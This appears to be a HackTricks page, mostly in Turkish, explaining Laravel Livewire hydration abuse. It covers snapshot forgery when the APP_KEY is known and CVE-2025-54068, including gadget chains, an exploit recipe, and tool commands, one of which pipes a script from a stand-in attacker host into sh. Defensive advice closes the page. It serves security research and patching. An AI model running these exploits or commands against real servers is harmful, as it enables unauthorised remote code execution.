Laravel Livewire Hydration & Synthesizer Abuse

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Livewire durum makinesinin özeti

Livewire 3 bileşenleri durumlarını data, memo ve bir checksum içeren snapshots aracılığıyla değiş tokuş eder. /livewire/update’e yapılan her POST, JSON snapshot’ını sunucu tarafında yeniden canlandırır ve kuyruğa alınmış calls/updates’leri yürütür.

class Checksum {
static function verify($snapshot) {
$checksum = $snapshot['checksum'];
unset($snapshot['checksum']);
if ($checksum !== self::generate($snapshot)) {
throw new CorruptComponentPayloadException;
}
}

static function generate($snapshot) {
return hash_hmac('sha256', json_encode($snapshot), $hashKey);
}
}

APP_KEY’e sahip herhangi biri ($hashKey’i türetmek için kullanılır) HMAC’i yeniden hesaplayarak dolayısıyla istediği snapshot’ları sahteleyebilir.

Karmaşık özellikler Livewire\Drawer\BaseUtils::isSyntheticTuple() tarafından tespit edilen sentetik tuple’lar olarak kodlanır; her tuple [value, {"s":"<key>", ...meta}] şeklindedir. Hydration çekirdeği her tuple’ı HandleComponents::$propertySynthesizers içinde seçilen synth’e devreder ve çocuklar üzerinde özyinelemeli olarak işlemeyi sürdürür:

protected function hydrate($valueOrTuple, $context, $path)
{
if (! Utils::isSyntheticTuple($value = $tuple = $valueOrTuple)) return $value;
[$value, $meta] = $tuple;
$synth = $this->propertySynth($meta['s'], $context, $path);
return $synth->hydrate($value, $meta, fn ($name, $child)
=> $this->hydrate($child, $context, "{$path}.{$name}"));
}

Bu özyinelemeli tasarım, attacker tuple metadatasını ya da özyineleme sırasında işlenen herhangi bir iç içe tuple’ı kontrol ettiğinde Livewire’ı genel amaçlı bir nesne oluşturma motoru haline getirir.

Synthesizers that grant gadget primitives

SynthesizerAttacker tarafından kontrol edilen davranış
CollectionSynth (clctn)Her çocuğu yeniden hidrasyon ettikten sonra new $meta['class']($value) örnekler. Dizi argümanı alan bir yapıcıya sahip herhangi bir sınıf oluşturulabilir ve her öğe kendisi de bir sentetik tuple olabilir.
FormObjectSynth (form)Önce new $meta['class']($component, $path) çağırır, sonra attacker tarafından kontrol edilen çocuklardan $hydrateChild aracılığıyla her public özelliği atar. İki gevşek türlü parametre (veya varsayılan argümanlar) kabul eden yapıcılar, rastgele public özelliklere erişmek için yeterlidir.
ModelSynth (mdl)Meta içinde key yoksa return new $class; çalıştırır; bu da attacker kontrolündeki herhangi bir sınıfın sıfır argümanla örneklenmesine izin verir.

Synth’ler her iç içe elemana $hydrateChild çağırdığı için tuple’ları özyinelemeli olarak üst üste koyarak rastgele gadget grafiklerini oluşturmak mümkündür.

Forging snapshots when APP_KEY is known

  1. Geçerli bir /livewire/update isteğini yakalayın ve components[0].snapshot’ı decode edin.
  2. Gadget sınıflarını işaret eden iç içe tuple’lar enjekte edin ve checksum = hash_hmac('sha256', json_encode(snapshot_without_checksum), APP_KEY)’i yeniden hesaplayın.
  3. Snapshot’ı yeniden encode edin, _token/memo’ya dokunmayın ve isteği tekrar oynatın.

Minimal bir yürütme kanıtı Guzzle’ın FnStream ve Flysystem’ın ShardedPrefixPublicUrlGenerator sınıflarını kullanır. Bir tuple, kurucu verisi olarak { "__toString": "phpinfo" } ile FnStream örnekler; bir sonraki tuple ise $prefixes olarak [FnStreamInstance] ile ShardedPrefixPublicUrlGenerator örnekler. Flysystem her prefix’i stringe çevirdiğinde, PHP attacker tarafından sağlanan __toString callable’ını çağırır ve argümansız herhangi bir fonksiyonu yürütür.

From function calls to full RCE

Livewire’ın örnekleme primitiflerinden yararlanarak, Synacktiv phpggc’nin Laravel/RCE4 zincirini uyarladı; böylece hydration, public Queueable durumu deserializasyonu tetikleyen bir nesneyi boot eder:

  1. Queueable traitIlluminate\Bus\Queueable kullanan herhangi bir nesne public $chained’i açığa çıkarır ve dispatchNextJobInChain() içinde unserialize(array_shift($this->chained)) çalıştırır.
  2. BroadcastEvent wrapperIlluminate\Broadcasting\BroadcastEvent (ShouldQueue), public $chained doldurulmuş şekilde CollectionSynth / FormObjectSynth ile örneklenir.
  3. phpggc Laravel/RCE4Adapted$chained[0] içinde saklanan serialized blob PendingBroadcast -> Validator -> SerializableClosure\Serializers\Signed yapısını kurar. Signed::__invoke() nihayetinde call_user_func_array($closure, $args) çağrısını yapar ve system($cmd)’i mümkün kılar.
  4. Stealth termination[new Laravel\Prompts\Terminal(), 'exit'] gibi ikinci bir FnStream callable teslim edilerek, istek gürültülü bir istisna yerine exit() ile sonlandırılır ve HTTP yanıtı temiz kalır.

Automating snapshot forgery

synacktiv/laravel-crypto-killer artık her şeyi birleştiren bir livewire modu ile birlikte gelir:

./laravel_crypto_killer.py -e livewire -k base64:APP_KEY \
-j request.json --function system -p "bash -c 'id'"

Araç, yakalanan snapshot’u ayrıştırır, gadget tuples’ları enjekte eder, checksum’u yeniden hesaplar ve gönderilmeye hazır bir /livewire/update payload’u yazdırır.

CVE-2025-54068 – RCE APP_KEY olmadan

updates, snapshot checksum doğrulandıktan sonra component state ile birleştirilir. Snapshot içindeki bir property (veya sonradan öyle hale gelirse) synthetic tuple ise, Livewire saldırgan tarafından kontrol edilen update değerini hydrate ederken onun meta bilgisini yeniden kullanır:

protected function hydrateForUpdate($raw, $path, $value, $context)
{
$meta = $this->getMetaForPath($raw, $path);
if ($meta) {
return $this->hydrate([$value, $meta], $context, $path);
}
}

Exploit recipe:

  1. Find a Livewire component with an untyped public property (e.g., public $count;).
  2. Bu özelliği [] olarak ayarlayan bir update gönderin. Bir sonraki snapshot şimdi bunu [[], {"s": "arr"}] olarak saklar.
  3. Özelliğin derin iç içe geçmiş bir dizi içerdiği başka bir updates payload’u oluşturun; bu dizide [ <payload>, {"s":"clctn","class":"GuzzleHttp\\Psr7\\FnStream"} ] gibi tuple’lar gömülü olsun.
  4. Recursion sırasında hydrate() her iç çocuk öğeyi bağımsız olarak değerlendirir, bu yüzden saldırgan tarafından seçilen synth anahtarları/sınıfları dış tuple ve checksum hiç değişmemiş olsa bile geçerli sayılır.
  5. Aynı CollectionSynth/FormObjectSynth primitiflerini yeniden kullanarak $chained[0]’i phpggc payload’u içerecek şekilde bir Queueable gadget örneklendirin. Livewire sahte updates’leri işler, dispatchNextJobInChain()’i çağırır ve APP_KEY’i bilmeden system(<cmd>)’e ulaşır.

Key reasons this works:

  • updates are not covered by the snapshot checksum.
  • getMetaForPath(), özellik için önceden mevcut olan synth metadata’sına güvenir; saldırgan daha önce zayıf tipleme yoluyla onu bir tuple’a zorlamış olsa bile.
  • Recursion ile zayıf tipleme, her iç içe geçmiş dizinin yeni bir tuple olarak yorumlanmasını sağlar; böylece rastgele synth anahtarları ve rastgele sınıflar nihayetinde hydrate işlemine ulaşır.

Livepyre – end-to-end exploitation

Livepyre hem APP_KEY-less CVE’yi hem de signed-snapshot yolunu otomatikleştirir:

  • Dağıtılmış Livewire sürümünün fingerprint’ini <script src="/livewire/livewire.js?id=HASH"> öğesini parse ederek ve hash’i zafiyetli sürümlere eşleyerek çıkarır.
  • Zararsız işlemleri yeniden oynatarak baz snapshot’ları toplar ve components[].snapshot’ı çıkarır.
  • phpggc zincirini gömülü olarak içeren ya updates-sadece bir payload (CVE-2025-54068) ya da forje edilmiş bir snapshot (bilinen APP_KEY) üretir.

Typical usage:

# CVE-2025-54068, unauthenticated
python3 Livepyre.py -u https://target/livewire/component -f system -p id

# Signed snapshot exploit with known APP_KEY
python3 Livepyre.py -u https://target/livewire/component -a base64:APP_KEY \
-f system -p "bash -c 'curl attacker/shell.sh|sh'"

-c/--check zarar verici olmayan bir probe çalıştırır, -F version gating’i atlar, -H ve -P özel header’lar veya proxy’ler ekler ve --function/--param gadget chain tarafından çağrılan php function’ı özelleştirir.

Savunma hususları

  • Tedarikçi bültenine göre düzeltilmiş Livewire builds (>= 3.6.4) sürümlerine yükseltin ve CVE-2025-54068 için tedarikçi yamasını dağıtın.
  • Livewire components içindeki weakly typed public properties kullanmaktan kaçının; explicit scalar types, property değerlerinin array/tuple’lara zorlanmasını engeller.
  • Gerçekten ihtiyaç duyduğunuz synthesizers’ları kaydedin ve kullanıcı tarafından kontrol edilen metadata ($meta['class']) öğesini güvenilmez kabul edin.
  • Bir property’sinin JSON tipini değiştiren güncellemeleri (ör. scalar -> array) açıkça izin verilmedikçe reddedin ve stale tuples’ları yeniden kullanmak yerine synth metadata’yı yeniden türetin.
  • Herhangi bir ifşadan sonra APP_KEY’i derhal değiştirin çünkü kod tabanı ne kadar yamalansa da offline snapshot forging’e izin verir.

Referanslar

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin